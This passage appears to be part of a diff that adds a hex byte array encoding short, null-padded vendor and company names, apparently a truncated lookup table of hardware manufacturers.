0x69, 0x63, 0x4c, 0x69, 0x66, +0x4c, 0x69, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, +0x45, 0x74, 0x68, 0x65, 0x72, 0x63, 0x61, 0x74, +0x41, 0x64, 0x76, 0x61, 0x73, 0x00, 0x00, 0x00, +0x39, 0x39, 0x69, 0x6f, 0x74, 0x53, 0x68, 0x65, +0x43, 0x6f, 0x6d, 0x74, 0x65, 0x63, 0x68, 0x54, +0x46, 0x6f, 0x73, 0x34, 0x78, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6e, 0x79, 0x56, 0x69, 0x73, 0x75, +0x45, 0x70, 0x73, 0x70, 0x6f, 0x74, 0x00, 0x00, +0x45, 0x2d, 0x44, 0x6f, 0x6d, 0x75, 0x73, 0x49, +0x49, 0x34, 0x63, 0x49, 0x6e, 0x6e, 0x6f, 0x76, +0x4e, 0x65, 0x77, 0x69, 0x6e, 0x67, 0x73, 0x43, +0x50, 0x6f, 0x6c, 0x79, 0x76, 0x69, 0x73, 0x69, +0x41, 0x61, 0x76, 0x61, 0x4d, 0x6f, 0x62, 0x69, +0x41, 0x63, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x74, 0x68, 0x65, 0x6e, 0x61, 0x57, 0x69, +0x4c, 0x6f, 0x77, 0x54, 0x65, 0x63, 0x68, 0x53, +0x53, 0x65, 0x61, 0x77, 0x69, 0x6e, 0x67, 0x4b, +0x45, 0x64, 0x77, 0x61, 0x72, 0x64, 0x73, 0x4c, +0x43, 0x68, 0x79, 0x6e, 0x67, 0x48, 0x6f, 0x6e, +0x58, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x46, +0x52, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x6d, +0x54, 0x6d, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x77, 0x61, 0x6e, 0x67, 0x77, 0x6f, 0x6e, +0x41, 0x6c, 0x66, 0x61, 0x49, 0x6e, 0x73, 0x74, +0x43, 0x65, 0x72, 0x65, 0x62, 0x72, 0x61, 0x73, +0x49, 0x6e, 0x73, 0x68, 0x6f, 0x77, 0x54, 0x65, +0x4d, 0x65, 0x64, 0x61, 0x6c, 0x6c, 0x69, 0x6f, +0x4f, 0x6f, 0x6f, 0x54, 0x74, 0x76, 0x00, 0x00, +0x4d, 0x32, 0x63, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x4b, 0x6f, 0x6e, 0x61, 0x6d, 0x69, 0x47, 0x61, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x61, +0x4c, 0x61, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x43, 0x61, 0x6c, 0x61, 0x6e, 0x74, 0x65, 0x63, +0x4f, 0x72, 0x62, 0x69, 0x73, 0x54, 0x65, 0x63, +0x53, 0x75, 0x7a, 0x68, 0x6f, 0x75, 0x48, 0x61, +0x4b, 0x61, 0x6e, 0x64, 0x61, 0x6f, 0x4c, 0x69, +0x53, 0x6f, 0x6e, 0x6f, 0x76, 0x61, 0x00, 0x00, +0x53, 0x61, 0x69, 0x6a, 0x6f, 0x44, 0x65, 0x6e, +0x57, 0x69, 0x66, 0x69, 0x2d, 0x53, 0x6f, 0x66, +0x50, 0x75, 0x72, 0x70, 0x6c, 0x65, 0x43, 0x6f, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x00, +0x4f, 0x78, 0x79, 0x67, 0x75, 0x61, 0x72, 0x64, +0x4c, 0x65, 0x76, 0x65, 0x6c, 0x6f, 0x6e, 0x65, +0x4b, 0x65, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x57, 0x75, 0x78, 0x69, 0x5a, 0x68, 0x61, 0x6e, +0x41, 0x64, 0x61, 0x74, 0x61, 0x54, 0x65, 0x63, +0x4e, 0x61, 0x73, 0x74, 0x65, 0x63, 0x00, 0x00, +0x41, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4f, 0x6c, 0x65, 0x75, 0x6d, 0x74, 0x65, 0x63, +0x43, 0x69, 0x74, 0x79, 0x67, 0x72, 0x6f, 0x77, +0x57, 0x65, 0x62, 0x65, 0x72, 0x2d, 0x53, 0x74, +0x53, 0x70, 0x61, 0x63, 0x65, 0x4d, 0x6f, 0x6e, +0x48, 0x61, 0x70, 0x70, 0x79, 0x65, 0x6c, 0x65, +0x49, 0x74, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x49, +0x42, 0x72, 0x79, 0x74, 0x6f, 0x6e, 0x00, 0x00, +0x4e, 0x65, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x58, 0x36, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x73, 0x65, 0x74, +0x50, 0x72, 0x6f, 0x78, 0x44, 0x79, 0x6e, 0x61, +0x4d, 0x6f, 0x6e, 0x61, 0x64, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6c, 0x76, 0x65, 0x72, 0x6e, 0x49, +0x4e, 0x69, 0x73, 0x68, 0x69, 0x79, 0x61, 0x6d, +0x53, 0x68, 0x65, 0x6e, 0x6f, 0x75, 0x43, 0x6f, +0x48, 0x69, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x53, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4d, +0x42, 0x6f, 0x73, 0x63, 0x68, 0x41, 0x75, 0x74, +0x49, 0x6e, 0x6e, 0x6f, 0x53, 0x00, 0x00, 0x00, +0x57, 0x69, 0x72, 0x65, 0x70, 0x61, 0x73, 0x4f, +0x53, 0x63, 0x61, 0x6c, 0x61, 0x72, 0x00, 0x00, +0x57, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x72, 0x65, +0x4d, 0x65, 0x74, 0x72, 0x75, 0x6d, 0x54, 0x65, +0x55, 0x70, 0x6f, 0x73, 0x53, 0x79, 0x73, 0x74, +0x54, 0x65, 0x63, 0x73, 0x65, 0x6e, 0x00, 0x00, +0x46, 0x61, 0x69, 0x57, 0x61, 0x68, 0x49, 0x6e, +0x48, 0x6f, 0x6e, 0x67, 0x79, 0x75, 0x43, 0x6f, +0x33, 0x76, 0x69, 0x65, 0x77, 0x00, 0x00, 0x00, +0x53, 0x61, 0x65, 0x49, 0x74, 0x2d, 0x53, 0x79, +0x4e, 0x65, 0x74, 0x61, 0x74, 0x6d, 0x6f, 0x00, +0x45, 0x6f, 0x70, 0x74, 0x6f, 0x6c, 0x69, 0x6e, +0x44, 0x61, 0x74, 0x61, 0x4d, 0x6f, 0x64, 0x75, +0x58, 0x65, 0x74, 0x61, 0x77, 0x61, 0x76, 0x65, +0x43, 0x68, 0x65, 0x65, 0x72, 0x7a, 0x69, 0x6e, +0x4f, 0x70, 0x74, 0x6f, 0x77, 0x69, 0x7a, 0x00, +0x53, 0x72, 0x74, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x54, 0x72, 0x69, 0x2d, 0x53, 0x65, 0x6e, 0x00, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x79, 0x61, 0x6e, +0x4d, 0x61, 0x79, 0x66, 0x69, 0x65, 0x6c, 0x64, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x64, 0x61, +0x4e, 0x6f, 0x72, 0x66, 0x6f, 0x6c, 0x6b, 0x45, +0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x70, 0x61, +0x4e, 0x74, 0x2d, 0x57, 0x61, 0x72, 0x65, 0x53, +0x54, 0x6f, 0x6e, 0x67, 0x66, 0x61, 0x6e, 0x67, +0x55, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x41, 0x6e, 0x6e, 0x61, 0x78, 0x41, 0x6e, 0x7a, +0x47, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x63, 0x65, +0x45, 0x78, 0x70, 0x6c, 0x6f, 0x72, 0x65, 0x72, +0x41, 0x72, 0x72, 0x69, 0x76, 0x65, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x65, 0x6e, 0x00, +0x47, 0x6e, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x00, +0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x53, +0x54, 0x73, 0x6c, 0x50, 0x70, 0x6c, 0x00, 0x00, +0x56, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x74, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x00, +0x54, 0x3a, 0x4d, 0x69, 0x59, 0x74, 0x74, 0x69, +0x41, 0x70, 0x65, 0x72, 0x69, 0x00, 0x00, 0x00, +0x52, 0x65, 0x7a, 0x6f, 0x6c, 0x74, 0x00, 0x00, +0x56, 0x73, 0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x4d, 0x6f, 0x76, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x41, 0x73, 0x69, 0x61, 0x56, 0x69, 0x74, 0x61, +0x49, 0x63, 0x61, 0x72, 0x76, 0x69, 0x73, 0x69, +0x45, 0x64, 0x69, 0x73, 0x6f, 0x6e, 0x4c, 0x61, +0x43, 0x68, 0x69, 0x70, 0x73, 0x69, 0x70, 0x54, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x64, 0x69, 0x67, +0x4a, 0x75, 0x72, 0x75, 0x6d, 0x61, 0x6e, 0x69, +0x45, 0x74, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x69, 0x77, 0x65, 0x69, 0x43, 0x6f, +0x52, 0x65, 0x64, 0x45, 0x6d, 0x62, 0x65, 0x64, +0x50, 0x74, 0x48, 0x61, 0x72, 0x74, 0x6f, 0x6e, +0x4f, 0x63, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x49, 0x6d, 0x61, +0x42, 0x65, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x69, 0x6d, +0x4d, 0x65, 0x6e, 0x4d, 0x69, 0x6b, 0x72, 0x6f, +0x52, 0x65, 0x6e, 0x65, 0x73, 0x61, 0x73, 0x45, +0x46, 0x6f, 0x75, 0x72, 0x00, 0x00, 0x00, 0x00, +0x41, 0x67, 0x6a, 0x75, 0x6e, 0x63, 0x74, 0x69, +0x54, 0x6f, 0x64, 0x61, 0x61, 0x69, 0x72, 0x45, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x44, +0x4b, 0x6f, 0x64, 0x61, 0x63, 0x6c, 0x6f, 0x75, +0x5a, 0x69, 0x6d, 0x69, 0x00, 0x00, 0x00, 0x00, +0x51, 0x72, 0x73, 0x4d, 0x75, 0x73, 0x69, 0x63, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x6c, 0x65, 0x61, +0x49, 0x6e, 0x6f, 0x76, 0x6f, 0x42, 0x72, 0x6f, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x56, +0x43, 0x69, 0x65, 0x73, 0x73, 0x65, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x42, +0x4c, 0x6f, 0x6e, 0x67, 0x63, 0x6f, 0x6e, 0x6e, +0x48, 0x79, 0x75, 0x6e, 0x74, 0x65, 0x63, 0x6b, +0x4e, 0x75, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00, +0x43, 0x61, 0x6c, 0x78, 0x65, 0x64, 0x61, 0x00, +0x53, 0x6d, 0x69, 0x74, 0x68, 0x4d, 0x79, 0x65, +0x57, 0x79, 0x6d, 0x61, 0x54, 0x65, 0x63, 0x6e, +0x45, 0x76, 0x72, 0x69, 0x73, 0x6b, 0x6f, 0x00, +0x45, 0x62, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, +0x45, 0x72, 0x67, 0x6f, 0x70, 0x68, 0x6f, 0x6e, +0x56, 0x69, 0x7a, 0x6d, 0x6f, 0x6e, 0x65, 0x74, +0x41, 0x70, 0x69, 0x73, 0x74, 0x65, 0x00, 0x00, +0x52, 0x61, 0x64, 0x73, 0x70, 0x69, 0x6e, 0x00, +0x41, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x00, 0x00, +0x42, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x78, 0x77, 0x65, 0x6c, 0x6c, 0x46, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x6e, 0x52, 0x6f, +0x4f, 0x6e, 0x66, 0x61, 0x63, 0x65, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x70, 0x61, 0x6c, +0x57, 0x72, 0x65, 0x6e, 0x53, 0x6f, 0x75, 0x6e, +0x51, 0x75, 0x65, 0x63, 0x6c, 0x69, 0x6e, 0x6b, +0x5a, 0x55, 0x4b, 0x45, 0x6c, 0x7a, 0x61, 0x62, +0x42, 0x61, 0x6f, 0x66, 0x65, 0x6e, 0x67, 0x54, +0x4e, 0x62, 0x73, 0x50, 0x61, 0x79, 0x6d, 0x65, +0x4f, 0x72, 0x61, 0x6e, 0x74, 0x65, 0x6b, 0x00, +0x4a, 0x61, 0x62, 0x69, 0x6c, 0x00, 0x00, 0x00, +0x49, 0x64, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x41, 0x66, 0x66, 0x69, 0x72, 0x6d, 0x65, 0x64, +0x4f, 0x6d, 0x6e, 0x69, 0x6d, 0x61, 0x00, 0x00, +0x4c, 0x65, 0x6f, 0x49, 0x6e, 0x6e, 0x6f, 0x76, +0x53, 0x74, 0x65, 0x70, 0x68, 0x65, 0x6e, 0x54, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x63, 0x6c, 0x65, +0x4b, 0x61, 0x69, 0x2d, 0x45, 0x65, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x6e, 0x65, 0x74, 0x52, 0x65, +0x45, 0x61, 0x73, 0x79, 0x73, 0x79, 0x6e, 0x63, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x75, 0x48, 0x6f, +0x42, 0x69, 0x61, 0x6d, 0x70, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6c, 0x6c, 0x2d, 0x42, 0x75, 0x72, +0x46, 0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69, 0x63, +0x4c, 0x69, 0x76, 0x65, 0x75, 0x00, 0x00, 0x00, +0x53, 0x68, 0x69, 0x66, 0x74, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x78, 0x74, 0x6f, 0x6e, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x6b, 0x79, 0x75, 0x65, 0x6c, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x49, 0x6e, +0x56, 0x61, 0x63, 0x68, 0x65, 0x6e, 0x00, 0x00, +0x52, 0x61, 0x66, 0x69, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x4d, 0x6f, 0x74, +0x48, 0x69, 0x6f, 0x73, 0x6f, 0x54, 0x65, 0x63, +0x41, 0x72, 0x67, 0x6f, 0x78, 0x49, 0x6e, 0x66, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x4d, 0x6f, 0x74, +0x5a, 0x74, 0x65, 0x63, 0x49, 0x6e, 0x73, 0x74, +0x47, 0x69, 0x6b, 0x4d, 0x62, 0x68, 0x00, 0x00, +0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x52, 0x61, +0x49, 0x6e, 0x64, 0x72, 0x61, 0x45, 0x73, 0x70, +0x55, 0x6e, 0x69, 0x66, 0x69, 0x65, 0x64, 0x67, +0x43, 0x64, 0x72, 0x53, 0x70, 0x5a, 0x4f, 0x4f, +0x43, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x61, 0x6e, 0x64, 0x61, 0x72, 0x54, +0x49, 0x6e, 0x64, 0x79, 0x6d, 0x65, 0x53, 0x6f, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x53, +0x51, 0x39, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x4e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x7a, 0x54, +0x4d, 0x75, 0x73, 0x69, 0x6c, 0x61, 0x62, 0x45, +0x4d, 0x65, 0x64, 0x69, 0x6c, 0x69, 0x6e, 0x65, +0x41, 0x75, 0x67, 0x75, 0x73, 0x74, 0x48, 0x6f, +0x48, 0x6f, 0x65, 0x72, 0x62, 0x69, 0x67, 0x65, +0x49, 0x69, 0x6e, 0x65, 0x74, 0x4c, 0x61, 0x62, +0x41, 0x64, 0x76, 0x69, 0x64, 0x69, 0x61, 0x00, +0x50, 0x72, 0x65, 0x63, 0x69, 0x64, 0x61, 0x74, +0x44, 0x61, 0x65, 0x79, 0x65, 0x6f, 0x6e, 0x43, +0x41, 0x6d, 0x70, 0x68, 0x65, 0x6e, 0x6f, 0x6c, +0x41, 0x62, 0x62, 0x41, 0x75, 0x73, 0x74, 0x72, +0x49, 0x67, 0x6e, 0x65, 0x6f, 0x75, 0x73, 0x00, +0x46, 0x61, 0x72, 0x53, 0x6f, 0x75, 0x74, 0x68, +0x47, 0x69, 0x6d, 0x61, 0x73, 0x69, 0x53, 0x61, +0x43, 0x6f, 0x6d, 0x61, 0x75, 0x53, 0x50, 0x41, +0x45, 0x76, 0x65, 0x72, 0x54, 0x72, 0x65, 0x61, +0x41, 0x6f, 0x62, 0x6f, 0x54, 0x65, 0x6c, 0x65, +0x53, 0x63, 0x75, 0x66, 0x47, 0x61, 0x6d, 0x69, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x53, 0x61, 0x6c, +0x53, 0x68, 0x69, 0x6e, 0x79, 0x62, 0x6f, 0x77, +0x45, 0x6e, 0x68, 0x61, 0x6e, 0x63, 0x65, 0x64, +0x53, 0x74, 0x75, 0x6c, 0x7a, 0x00, 0x00, 0x00, +0x48, 0x26, 0x44, 0x57, 0x69, 0x72, 0x65, 0x6c, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x73, 0x69, +0x45, 0x6c, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x44, 0x68, 0x63, 0x53, 0x6f, 0x66, 0x74, 0x77, +0x4e, 0x65, 0x6f, 0x75, 0x73, 0x79, 0x73, 0x54, +0x56, 0x69, 0x63, 0x6f, 0x73, 0x00, 0x00, 0x00, +0x50, 0x61, 0x63, 0x65, 0x2d, 0x4f, 0x2d, 0x4d, +0x4e, 0x61, 0x76, 0x69, 0x65, 0x6c, 0x65, 0x6b, +0x41, 0x72, 0x69, 0x73, 0x74, 0x6f, 0x63, 0x72, +0x4e, 0x75, 0x63, 0x6f, 0x6d, 0x48, 0x6b, 0x00, +0x47, 0x62, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x2d, 0x53, 0x63, 0x61, 0x70, 0x65, 0x00, +0x52, 0x61, 0x69, 0x6e, 0x75, 0x73, 0x00, 0x00, +0x4b, 0x79, 0x6c, 0x61, 0x6e, 0x64, 0x2d, 0x55, +0x55, 0x6e, 0x65, 0x74, 0x63, 0x6f, 0x6e, 0x76, +0x42, 0x65, 0x67, 0x61, 0x47, 0x61, 0x6e, 0x74, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x62, 0x72, +0x46, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x5a, 0x6f, +0x53, 0x6f, 0x63, 0x75, 0x73, 0x4e, 0x65, 0x74, +0x49, 0x6e, 0x6e, 0x6f, 0x73, 0x74, 0x6f, 0x72, +0x4f, 0x72, 0x61, 0x6e, 0x67, 0x65, 0x00, 0x00, +0x52, 0x6f, 0x73, 0x65, 0x6e, 0x62, 0x65, 0x72, +0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x49, 0x6e, +0x52, 0x61, 0x66, 0x61, 0x65, 0x6c, 0x00, 0x00, +0x42, 0x65, 0x6b, 0x65, 0x79, 0x00, 0x00, 0x00, +0x4a, 0x2d, 0x4d, 0x65, 0x78, 0x00, 0x00, 0x00, +0x51, 0x69, 0x61, 0x6e, 0x74, 0x61, 0x6e, 0x67, +0x44, 0x61, 0x6d, 0x61, 0x6c, 0x6c, 0x54, 0x65, +0x53, 0x61, 0x69, 0x61, 0x2d, 0x42, 0x75, 0x72, +0x45, 0x2d, 0x54, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x38, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, +0x44, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x43, 0x6f, +0x32, 0x6e, 0x54, 0x65, 0x6c, 0x65, 0x6b, 0x6f, +0x4b, 0x6f, 0x61, 0x6d, 0x74, 0x61, 0x63, 0x00, +0x43, 0x68, 0x61, 0x6f, 0x77, 0x69, 0x66, 0x69, +0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x45, 0x6c, +0x42, 0x6c, 0x61, 0x63, 0x6b, 0x6d, 0x61, 0x67, +0x4d, 0x65, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x73, 0x6f, 0x6d, 0x61, 0x53, 0x65, 0x63, +0x49, 0x6d, 0x61, 0x67, 0x6f, 0x47, 0x72, 0x6f, +0x50, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x45, 0x2d, 0x42, 0x61, 0x6e, 0x64, 0x43, 0x6f, +0x45, 0x6e, 0x74, 0x65, 0x72, 0x74, 0x61, 0x69, +0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x4d, 0x61, +0x50, 0x6f, 0x72, 0x74, 0x73, 0x6d, 0x69, 0x74, +0x4d, 0x69, 0x6e, 0x64, 0x74, 0x72, 0x65, 0x65, +0x52, 0x65, 0x64, 0x53, 0x75, 0x6e, 0x53, 0x79, +0x53, 0x63, 0x61, 0x6c, 0x65, 0x43, 0x6f, 0x6d, +0x53, 0x61, 0x77, 0x77, 0x61, 0x76, 0x65, 0x00, +0x4d, 0x65, 0x74, 0x61, 0x6d, 0x61, 0x6b, 0x6f, +0x59, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x62, 0x69, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x6e, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x62, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x61, 0x74, 0x65, 0x73, 0x61, 0x69, 0x72, +0x53, 0x61, 0x66, 0x65, 0x74, 0x6f, 0x6e, 0x65, +0x54, 0x65, 0x6e, 0x79, 0x75, 0x54, 0x65, 0x63, +0x54, 0x69, 0x67, 0x61, 0x72, 0x6f, 0x57, 0x69, +0x4e, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x69, 0x78, 0x73, 0x79, 0x73, 0x53, 0x72, +0x41, 0x6d, 0x73, 0x4e, 0x65, 0x76, 0x65, 0x00, +0x57, 0x75, 0x78, 0x69, 0x49, 0x64, 0x61, 0x74, +0x55, 0x6e, 0x69, 0x6b, 0x65, 0x79, 0x54, 0x65, +0x43, 0x6f, 0x63, 0x6f, 0x6f, 0x6e, 0x41, 0x6c, +0x45, 0x6e, 0x6d, 0x61, 0x73, 0x00, 0x00, 0x00, +0x50, 0x61, 0x79, 0x72, 0x61, 0x6e, 0x67, 0x65, +0x50, 0x68, 0x79, 0x74, 0x72, 0x65, 0x78, 0x54, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x43, +0x5a, 0x53, 0x65, 0x64, 0x61, 0x69, 0x4b, 0x65, +0x4a, 0x69, 0x6e, 0x6d, 0x75, 0x79, 0x75, 0x45, +0x4e, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x00, 0x00, +0x47, 0x6c, 0x65, 0x6e, 0x44, 0x69, 0x6d, 0x70, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x48, +0x4f, 0x70, 0x65, 0x6e, 0x6d, 0x61, 0x74, 0x69, +0x56, 0x73, 0x65, 0x56, 0x61, 0x6c, 0x65, 0x6e, +0x47, 0x6e, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x6e, +0x4b, 0x69, 0x6e, 0x67, 0x53, 0x6c, 0x69, 0x64, +0x44, 0x53, 0x69, 0x67, 0x6e, 0x74, 0x00, 0x00, +0x4d, 0x68, 0x6c, 0x4c, 0x6c, 0x63, 0x00, 0x00, +0x4f, 0x62, 0x6a, 0x65, 0x6e, 0x69, 0x6f, 0x75, +0x4d, 0x65, 0x73, 0x6d, 0x6f, 0x54, 0x65, 0x63, +0x42, 0x6f, 0x73, 0x63, 0x68, 0x53, 0x6f, 0x66, +0x4f, 0x73, 0x72, 0x61, 0x6d, 0x00, 0x00, 0x00, +0x53, 0x61, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x00, +0x41, 0x63, 0x61, 0x63, 0x69, 0x61, 0x43, 0x6f, +0x41, 0x63, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x73, 0x63, 0x6f, 0x45, 0x6c, 0x65, +0x41, 0x65, 0x52, 0x65, 0x66, 0x75, 0x73, 0x6f, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x69, 0x63, 0x6f, +0x44, 0x65, 0x76, 0x69, 0x61, 0x6c, 0x65, 0x74, +0x4b, 0x6f, 0x6c, 0x66, 0x66, 0x43, 0x6f, 0x6d, +0x41, 0x63, 0x72, 0x6f, 0x41, 0x73, 0x73, 0x6f, +0x54, 0x69, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x59, +0x44, 0x61, 0x6d, 0x61, 0x6c, 0x69, 0x73, 0x6b, +0x41, 0x6e, 0x74, 0x61, 0x69, 0x72, 0x61, 0x54, +0x4d, 0x73, 0x2d, 0x4d, 0x61, 0x67, 0x6e, 0x65, +0x45, 0x6e, 0x6d, 0x6f, 0x74, 0x75, 0x73, 0x00, +0x4e, 0x65, 0x77, 0x43, 0x6f, 0x73, 0x6d, 0x6f, +0x44, 0x6f, 0x6e, 0x67, 0x6e, 0x69, 0x61, 0x6e, +0x49, 0x6f, 0x78, 0x6f, 0x73, 0x54, 0x65, 0x63, +0x4e, 0x65, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x51, 0x75, 0x69, 0x72, 0x6b, 0x79, 0x00, 0x00, +0x45, 0x73, 0x65, 0x6e, 0x4f, 0x70, 0x74, 0x6f, +0x44, 0x6d, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x64, +0x52, 0x69, 0x64, 0x67, 0x65, 0x6c, 0x69, 0x6e, +0x41, 0x73, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x68, 0x6f, 0x6e, 0x49, 0x6e, 0x74, +0x42, 0x65, 0x65, 0x42, 0x65, 0x61, 0x6e, 0x73, +0x4c, 0x69, 0x6e, 0x6b, 0x77, 0x65, 0x6c, 0x6c, +0x4e, 0x75, 0x75, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x55, 0x49, 0x4c, 0x61, 0x70, 0x70, 0x00, 0x00, +0x53, 0x61, 0x6c, 0x75, 0x74, 0x72, 0x6f, 0x6e, +0x48, 0x75, 0x69, 0x7a, 0x68, 0x6f, 0x75, 0x53, +0x4f, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x54, +0x45, 0x73, 0x73, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x4b, 0x65, 0x79, 0x73, 0x69, 0x67, 0x68, 0x74, +0x4c, 0x61, 0x74, 0x74, 0x69, 0x63, 0x65, 0x77, +0x46, 0x6f, 0x72, 0x67, 0x65, 0x74, 0x62, 0x6f, +0x53, 0x75, 0x6e, 0x6c, 0x69, 0x74, 0x53, 0x79, +0x42, 0x72, 0x75, 0x6e, 0x65, 0x6c, 0x55, 0x6e, +0x4a, 0x69, 0x61, 0x6e, 0x6c, 0x69, 0x6e, 0x67, +0x54, 0x72, 0x61, 0x64, 0x65, 0x46, 0x69, 0x64, +0x47, 0x65, 0x72, 0x6d, 0x61, 0x6e, 0x65, 0x65, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x62, 0x72, 0x69, +0x41, 0x7a, 0x65, 0x74, 0x69, 0x4e, 0x65, 0x74, +0x5a, 0x75, 0x72, 0x69, 0x63, 0x68, 0x49, 0x6e, +0x4f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x70, 0x66, 0x72, 0x6f, 0x67, +0x50, 0x61, 0x74, 0x6c, 0x69, 0x74, 0x65, 0x00, +0x41, 0x62, 0x62, 0x58, 0x69, 0x61, 0x6d, 0x65, +0x47, 0x68, 0x65, 0x2d, 0x43, 0x65, 0x73, 0x45, +0x4c, 0x6f, 0x6f, 0x6b, 0x45, 0x61, 0x73, 0x79, +0x57, 0x69, 0x6e, 0x73, 0x74, 0x61, 0x72, 0x73, +0x42, 0x79, 0x74, 0x65, 0x73, 0x41, 0x74, 0x57, +0x41, 0x64, 0x6f, 0x6c, 0x66, 0x54, 0x65, 0x64, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x44, 0x65, +0x56, 0x65, 0x6e, 0x74, 0x69, 0x6c, 0x61, 0x74, +0x54, 0x68, 0x69, 